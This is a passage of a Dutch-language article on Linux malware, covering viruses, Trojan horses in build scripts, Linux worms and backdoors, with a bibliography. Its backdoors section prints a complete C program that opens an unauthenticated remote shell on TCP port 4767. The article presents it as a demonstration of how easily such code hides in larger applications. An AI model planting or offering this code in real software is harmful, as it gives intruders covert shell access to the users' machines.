onschadelijk virus en het is meer een bewijs van wat er mogelijk is
dan een echt gevaar. Maar dit concept doet je wel de rillingen over
de rug lopen, als je bedenkt dat zo'n indringer van de ene partitie
naar de andere kan springen, en een heterogeen netwerk kan
binnendringen via bijvoorbeeld de Samba server. Uitroeien ervan is
een verschrikking als je bedenkt dat de gereedschappen daarvoor op
beide systemen tegelijk beschikbaar moeten zijn. Het is van belang
om op te merken dat het Linux beschermingsmechanisme voorkomt dat
een virus onder een normale gebruikersidentiteit het
bestandssysteem kan beschadigen, maar onder Windows binnengekomen,
werkt deze bescherming niet meer.</p>
<p>We moeten toch de nadruk leggen op één punt:
iedere voorzorg die de beheerder kan nemen onder Linux wordt
ineffectief als je de machine opstart vanaf een Windows partitie en
daarmee een eventueel multi-platform virus de vrije hand geeft. Dit
is een probleem voor iedere machine met een <em>dual-boot</em>
installatie; de bescherming van het geheel is afhankelijk van het
zwakste systeem! De enige oplossing is het verbieden van toegang
tot Linux partities vanaf welke Windows applicatie dan ook, door
gebruik te maken van een gecodeerd bestandssysteem. Dit is nog geen
ingeburgerd gegeven. en we mogen er vanuitgaan dat virussen die
niet gemounte partities kunnen aanvallen binnenkort al een groot
gevaar zullen zijn voor Linux machines.</p>
<h3>Trojaanse paarden</h3>
<p>Trojaanse paarden zijn net zo bedreigend als virussen, maar
mensen lijken hier bewuster mee om te gaan. In tegenstelling tot
een logische bom die wordt getransporteerd door een virus, moet die
in een Trojaans paard met opzet door een mens geplaatst zijn. In de
wereld van de free software, is het bereik van het beetje code van
een auteur naar de eindgebruiker beperkt door slechts een of twee
bemiddelaars (bijvoorbeeld iemand die de supervisie over een
project heeft en iemand die de distributie maakt). Als er een
Trojaans paard gevonden wordt, is het heel eenvoudig om de
"schuldige" te vinden.</p>
<p>De wereld van de free software is dus vrij goed beschermd tegen
Trojaanse paarden. Maar als we nu kijken naar free software zoals
we dat vandaag de dag kennen, met beheerde projecten, vele
verschillende ontwikkelaars en web sites met referentie gegevens.
Dit staat vrij ver van <em>shareware</em> of <em>freeware</em>, die
alleen voorgecompileerd beschikbaar is en anarchistisch via
honderden websites (of op een CD meegeleverd bij een blad)
gedistribueerd wordt, waarbij de auteurs allen bekend zijn via een
e-mail adres, dat ook nog eens eenvoudig te vervalsen is; dat is
pas echt een goede geboortegrond voor Trojaanse paarden.</p>
<p>Let er wel op dat het feit dat de broncode van applicaties
beschikbaar en compileerbaar is, nog geen garantie is van
veiligheid. Een schadelijke logische bom kan worden verstopt in het
"<code>configure</code>" script (degene die wordt aangevraagd bij
"<code>./configure; make</code>") dit is gewoonlijk ongeveer
2000 regels lang! En tenslotte: ook al is de broncode van een
applicatie schoon en compileerbaar; dat betekent nog niet dat het
<code>Makefile</code> geen logische bom bevat, die geactiveerd
wordt tijdens de "<code>make install</code>", die normaal
gesproken wordt uitgevoerd als <em>root</em>!</p>
<p>Een groot deel van de virussen en Trojaanse paarden die schade
kunnen aanrichten onder Windows, zijn macro's die uitgevoerd worden
bij het bekijken van een document. De (Office) pakketten onder
Linux kunnen deze macro's niet interpreteren, tenminste tot nu toe
niet, het risico daarvan is wel dat de gebruiker een overdreven
gevoel van veiligheid krijgt. Op een zeker moment zullen deze
gereedschappen wel de in documenten meegeleverde Basic macro's
kunnen lezen. Het feit dat ontwikkelaars het slechte idee hadden om
deze macro's systeemcommando's te laten uitvoeren, zal vroeg of
laat problemen geven. Natuurlijk wordt, net als bij virussen, het
vernietigende effect beperkt door de rechten van de gebruiker, maar
het feit dat er geen systeembestanden verloren gaan (die ook
beschikbaar zijn op de installatie CD), is voor de gebruiker maar
een schrale troost als hij net al z'n documenten, mail en broncode
bestanden kwijt is, terwijl z'n laatste backup al een maand oud
is.</p>
<p>Tenslotte beeindigen we deze sectie over Trojaanse paarden die
in gegevens zitten, met de opmerking dat er altijd wel manieren
zijn om de gebruiker te pesten, ook zonder schadelijk te zijn, met
enkele bestanden die met een programma geopend moeten worden. Op
Usenet zijn van tijd tot tijd gecomprimeerde bestanden te vinden
die zichzelf vermenigvuldigen in meerdere bestanden tot de schijf
vol staat. Enkele Postscript bestanden kunnen ook het interpretatie
programma blokkeren (<code>ghostscript</code> of <code>gv</code>)
en daarmee processortijd verspillen. Dezen zijn niet schadelijk,
maar ze kosten de gebruiker tijd en zijn irritant.</p>
<h3>Wormen</h3>
<p>Linux bestond nog niet ten tijde van de 1988 Internet Worm; het
zou zeker een doelwit zijn geweest voor dit soort aanval, de
beschikbaarheid van free software broncode maakt de zoektocht naar
kwetsbaarheden zeer eenvoudig (buffer overflows, bijvoorbeeld). De
complexiteit om een "kwalitatief goede" worm te schrijven, zorgt
ervoor dat er slechts een klein aantal echt actief is onder Linux.
Tabel 2 toont een paar van de meest bekende en gebruikte...</p>
<p>Wormen maken gebruik van netwerk server kwetsbaarheden. Voor
workstations die niet continu gekoppeld zijn aan internet is het
risico in theorie kleiner, dan voor servers die een permanente
verbinding hebben. Maar de evolutie van nieuwe typen verbindingen
voor thuisgebruikers (Cable, SDL, enz.) en het gemak waarmee de
huidige netwerk services kunnen worden geïmplementeerd (HTTP
servers, anonymous FTP, enz.) maken duidelijk dat dit al snel een
probleem voor iedereen kan worden.</p>
<table border="3" frame="border" class="TextInfo">
<caption>Tabel 2 - Wormen onder Linux</caption>
<tbody>
<tr>
<td><em>Naam</em></td>
<td><em>Kwetsbaarheden</em></td>
<td><em>Opmerkingen</em></td>
</tr>
<tr>
<td>Lion (<code>1i0n</code>)</td>
<td><code>bind</code></td>
<td>Installeert een backdoor (TCP port 10008) en een
<em>root-kit</em> op de binnengedrongen machine. Stuurt
systeeminformatie naar een email adres in China.</td>
</tr>
<tr>
<td>Ramen</td>
<td><code>lpr</code>, <code>nfs</code>, <code>wu-ftpd</code></td>
<td>Verandert de <code>index.html</code> bestanden die hij
vindt</td>
</tr>
<tr>
<td>Adore (Red Worm)</td>
<td><code>bind</code>, <code>lpr</code>, <code>rpc</code>,
<code>wu-ftpd</code></td>
<td>Installeert een backdoor in het systeem en stuurt informatie
naar email adressen in China en de VS. Installeert een
gemodificeerde versie van <code>ps</code> om z'n processen te
verbergen.</td>
</tr>
<tr>
<td>Cheese</td>
<td>Net als Lion</td>
<td>Een Worm die geïntroduceerd is als een goede, die
backdoors die geopend zijn door <em>Lion</em> controleert en
verwijdert.</td>
</tr>
</tbody>
</table>
<p>Let er, wat betreft wormen, op dat de verspreiding alleen
gelimiteerd wordt door de factor tijd. Ze "overleven" alleen door
zichzelf van het ene systeem naar het andere te kopiëren., en
aangezien ze vertrouwen op recentelijk gevonden kwetsbaarheden,
stopt snel updaten van kwetsbare applicaties hun verspreiding. Het
is zeer waarschijnlijk dat systemen in de nabije toekomst
automatisch dagelijks websites bezoeken - vertrouwde sites
natuurlijk - om daar veiligheidsupdates voor het systeem te vinden.
Dit zal nodig worden om te voorkomen dat thuisgebruikers ook full
time systeembeheerders moeten worden om gebruik te kunnen blijven
maken van netwerk applicaties.</p>
<h3>Backdoors</h3>
<p>Het backdoor probleem is van groot belang, ook voor free
software. Natuurlijk kan je, theoretisch gezien, als de broncode
van een programma beschikbaar is, controleren wat het doet. Maar
over het algemeen lezen maar heel weinig mensen de inhoud van het
archief dat ze downloaden van internet. Het hieronder staande
kleine programma is bijvoorbeeld een complete backdoor, maar door
het kleine formaat is het eenvoudig te verbergen in een grotere
applicatie. Dit programma is afgeleid van een voorbeeld uit mijn
boek <a href="#bib">[BLAESS 00]</a> en illustreert het mechanisme
van de pseudo-terminal. Het programma is niet erg goed leesbaar
omdat het ingekort is door al het commentaar weg te halen. De
meeste foutcontroles zijn om dezelfde reden weggehaald. Als het
wordt uitgevoerd opent het een TCP/IP server op de poort die
genoemd wordt aan het begin van het programma (standaard 4767) op
iedere netwerk interface van de machine. Iedere aangevraagde
verbinding met deze poort zal automatisch een commandoregel openen
zonder enige toegangscontrole!!!</p>
<pre>
#define _GNU_SOURCE 500<br>
#include <fcntl.h><br>
#include <stdio.h><br>
#include <stdlib.h><br>
#include <termios.h><br>
#include <unistd.h><br>
#include <netinet/in.h><br>
#include <sys/socket.h><br>
<br>
#define ADRESSE_BACKDOOR INADDR_ANY<br>
#define PORT_BACKDOOR 4767<br>
<br>
int<br>
main (void)<br>
{<br>
int sock;<br>
int sockopt;<br>
struct sockaddr_in adresse; /* address */<br>
socklen_t longueur; /* length */<br>
int sock2;<br>
int pty_maitre; /* pty_master */<br>
int pty_esclave; /* pty_slave */<br>
char * nom_pty; /* name_pty */<br>
struct termios termios;<br>
char * args [2] = { "/bin/sh", NULL };<br>
fd_set set;<br>
char buffer [4096];<br>
int n;<br>
<br>
sock = socket (AF_INET, SOCK_STREAM, 0);<br>
sockopt = 1;<br>
setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));<br>
memset (& adresse, 0, sizeof (struct sockaddr));<br>
adresse . sin_family = AF_INET;<br>
adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);<br>
adresse . sin_port = htons (PORT_BACKDOOR);<br>
if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))<br>
exit (1);<br>
listen (sock, 5);<br>
while (1) {<br>
longueur = sizeof (struct sockaddr_in);<br>
if ((sock2 = accept (sock, & adresse, & longueur)) < 0)<br>
continue;<br>
if (fork () == 0) break;<br>
close (sock2);<br>
}<br>
close (sock);<br>
if ((pty_maitre = getpt()) < 0) exit (1);<br>
grantpt (pty_maitre);<br>
unlockpt (pty_maitre);<br>
nom_pty = ptsname (pty_maitre);<br>
tcgetattr (STDIN_FILENO, & termios);<br>
if (fork () == 0) {<br>
/* Son: shell execution in the slave<br>
pseudo-TTY */<br>
close (pty_maitre);<br>
setsid();<br>
pty_esclave = open (nom_pty, O_RDWR);<br>
tcsetattr (pty_esclave, TCSANOW, & termios);<br>
dup2 (pty_esclave, STDIN_FILENO);<br>
dup2 (pty_esclave, STDOUT_FILENO);<br>
dup2 (pty_esclave, STDERR_FILENO);<br>
execv (args [0], args);<br>
exit (1);<br>
}<br>
/* Father: copy of the socket to the master pseudo-TTY<br>
and vice versa */<br>
tcgetattr (pty_maitre, & termios);<br>
cfmakeraw (& termios);<br>
tcsetattr (pty_maitre, TCSANOW, & termios);<br>
while (1) {<br>
FD_ZERO (& set);<br>
FD_SET (sock2, & set);<br>
FD_SET (pty_maitre, & set);<br>
if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,<br>
& set, NULL, NULL, NULL) < 0)<br>
break;<br>
if (FD_ISSET (sock2, &set)) {<br>
if ((n = read (sock2, buffer, 4096)) < 0)<br>
break;<br>
write (pty_maitre, buffer, n);<br>
}<br>
if (FD_ISSET (pty_maitre, &set)) {<br>
if ((n = read (pty_maitre, buffer, 4096)) < 0)<br>
break;<br>
write (sock2, buffer, n);<br>
}<br>
}<br>
return (0);<br>
}<br>
</pre>
<p>Het invoegen van een dergelijke code in een grote applicatie,
(zoals bijvoorbeeld <code>sendmail</code>) zal lang genoeg
onontdekt blijven om vervelende indring-acties te genereren.
Bovendien zijn sommige mensen er meester in om een beetje code te
verbergen. De programma's die ieder jaar worden ingediend bij de
IOCC (<em>International Obsfucated C Code Contest</em>) voor een
wedstrijd, zijn hiervan het bewijs.</p>
<p>Backdoors moeten niet worden gezien als theoretische
mogelijkheden. Problemen hiermee zijn bijvoorbeeld bekend van het
<em>Piranha</em> pakket uit Red-Hat 6.2, dat een standaard
wachtwoord accepteerde. Het spel <em>Quake 2</em> wordt ook
verdacht van een geheime backdoor om niet-locale commando's uit te
voeren.</p>
<p>Backdoor mechanismen kunnen zichzelf ook in dusdanig complexe
verschijningen verbergen dat ze voor de meeste mensen onvindbaar
zijn. Een typisch voorbeeld hiervan gaat over encryptie systemen.
Het SE-Linux systeem bijvoorbeeld is een Linux versie waarbij de
beveiliging verbeterd is met patches die de NSA aangeleverd heeft.
Linux ontwikkelaars die de aangeleverde patches hebben
gecontroleerd, zeiden dat er niets verdachts tussen <em>leek</em>
te zitten, maar niemand kan hier zeker van zijn en slechts weinig
mensen hebben voldoende mathematische kennis in huis om hier
kwetsbaarheden in te vinden.</p>
<h2>Conclusie</h2>
<p>Het bekijken van deze schadelijke programma's die gevonden
kunnen worden in de Gnu/Linux wereld, leidt tot een conclusie: free
software is niet onkwetsbaar voor virussen, wormen, Trojaanse
paarden of andere kwaadwillende programma's! Je moet, zonder hier
al te licht over te denken, de veiligheidswaarschuwingen wat
betreft applicaties controleren, vooral wanneer de verbinding van
een workstation met internet vrij frequent is. Het is van belang om
je nu al de goede gewoonten aan te leren: update software zodra er
een kwetsbaarheid is ontdekt; gebruik alleen de benodigde netwerk
services; download applicaties alleen van vertrouwde websites;
controleer zoveel mogelijk de PGP en MD5 handtekeningen van de
gedownloade pakketten. Mensen die hier heel serieus mee om gaan
zullen deze controle automatiseren met bijvoorbeeld scripts om de
pakketten te controleren.</p>
<p>Een tweede opmerking: de twee belangrijkste gevaren voor Linux
systemen zullen in de toekomst waarschijnlijk (Office) applicaties
zijn die macro's interpreteren die in documenten zitten, of multi
platform virussen die, zelfs wanneer ze worden uitgevoerd onder
Windows, uitvoerbare bestanden die het vindt op een Linux partitie
van dezelfde machine, zal infecteren. De grootte van het eerste
probleem is afhankelijk van het gedrag van de gebruiker, die van
een (office) applicatie niet alles zou moeten laten accepteren,
maar de tweede is vrij lastig op te lossen, zelfs voor voorzichtige
beheerders. In de nabije toekomst zou het wel eens nodig kunnen
worden om krachtige virus scanners te implementeren in Linux
werkstations die verbonden zijn met internet; laten we hopen dat
dergelijke projecten binnenkort zullen starten in de free software
wereld.</p>
<a name="bib"></a>
<h2>Bibliografie</h2>
<p>Het aantal documenten over virussen, Trojaanse paarden en andere
bedreigingen voor software is een belangrijke indicatie; er bestaan
vele teksten over huidige virussen, hoe ze werken en wat ze doen.
Natuurlijk is het grootste deel van deze lijst gewijd aan
Dos/Windows, maar enkelen ervan gaan over Linux. De artikelen die
hier worden genoemd zijn vrij klassiek en analyseren het
geïnplementeerde theoretische mechanisme.</p>
<ul>
<li>[BLAESS 00] Christophe Blaess - "<em>C system programming under
Linux</em>", Eyrolles, 2000.</li>
<li>[DEWDNEY 84] A.K. Dewdney - "<em>Computer recreations</em>" in
<em>Scientific American</em>. Scanned versions available at <a
href=
"http://www.koth.org/info/sciam/">http://www.koth.org/info/sciam/</a></li>
<li>[EICHIN 89] Mark W. Eichin & Jon A. Rochlis - "<em>With
Microscope and Tweezers: An Analysis of the Internet Virus of
November 1988</em>", MIT Cambridge, 1989. Available at <a href=
"http://www.mit.edu/people/eichin/virus/main.html">www.mit.edu/people/eichin/virus/main.html</a></li>
<li>[GIBSON 01] Steve Gibson - "<em>The Strange Tale of the Denial
of Service Attack Against GRC.COM</em>", 2001. Available at <a
href=
"http://grc.com/dos/grcdos.htm">http://grc.com/dos/grcdos.htm</a></li>
<li>[KEHOE 92] Brendan P. Kehoe - "<em>Zen and the Art of the
Internet</em>", 1992. Available at <a href=
"ftp://ftp.lip6.fr/pub/doc/internet/">ftp://ftp.lip6.fr/pub/doc/internet/</a></li>
<li>[LUDWIG 91] Mark A. Ludwig - "<em>The Little Black Book of
Computer Virus</em>", American Eagle Publications Inc., 1991.</li>
<li>[LUDWIG 93] Mark A. Ludwig - "<em>Computer Viruses, Artificial
Life and Evolution</em>", American Eagle Publications Inc.,
1993.</li>
<li>[MARSDEN 00] Anton Marsden - "<em>The rec.games.corewar
FAQ</em>" available at <a href=
"http://homepages.paradise.net.nz/%7Eanton/cw/corewar-faq.html">http://homepages.paradise.net.nz/~anton/cw/corewar-faq.html</a></li>
<li>[MORRIS 85] Robert T. Morris - "<em>A Weakness in the 4.2BSD
Unix TCP/IP Software</em>", AT&T Bell Laboratories, 1985.
Available at <a href=
"http://www.pdos.lcs.mit.edu/%7Ertm/">http://www.pdos.lcs.mit.edu/~rtm/</a></li>
<li>[SPAFFORD 88] Eugene H. Spafford - "<em>The Internet Worm
Program: an Analysis</em>", Purdue University Technical Report
CSD-TR-823, 1988. Available at <a href=
"http://www.cerias.purdue.edu/homes/spaf/">http://www.cerias.purdue.edu/homes/spaf/</a></li>
<li>[SPAFFORD 91] Eugene H. Spafford - "<em>The Internet Worm
Incident</em>", Purdue University Technical Report CSD-TR-933,
1991. Available at <a href=
"http://www.cerias.purdue.edu/homes/spaf/">http://www.cerias.purdue.edu/homes/spaf/</a><br>
See also <b>rfc1135</b>: <a href=
"http://www.faqs.org/rfcs/rfc1135.html">The Helminthiasis of the
Internet</a></li>
<li>[SPAFFORD 94] Eugene H. Spafford - "<em>Computer Viruses as
Artificial Life</em>", Journal of Artificial Life, MIT Press, 1994.
Available at <a href=
"http://www.cerias.purdue.edu/homes/spaf/">http://www.cerias.purdue.edu/homes/spaf/</a></li>
<li>[STOLL 89] Clifford Stoll - "<em>The Cuckcoo's egg</em>",
Doubleday, 1989.</li>
<li>[THOMPSON 84] Ken Thompson - "<em>Reflections on Trusting
Trust</em>", Communication of the ACM vol.27 n°8, August 1984.
Reprinted in 1995 and available at <a href=
"http://www.acm.org/classics/sep95/">http://www.acm.org/classics/sep95/</a></li>
</ul>
<br>
<br>
<br>
</body>
</html>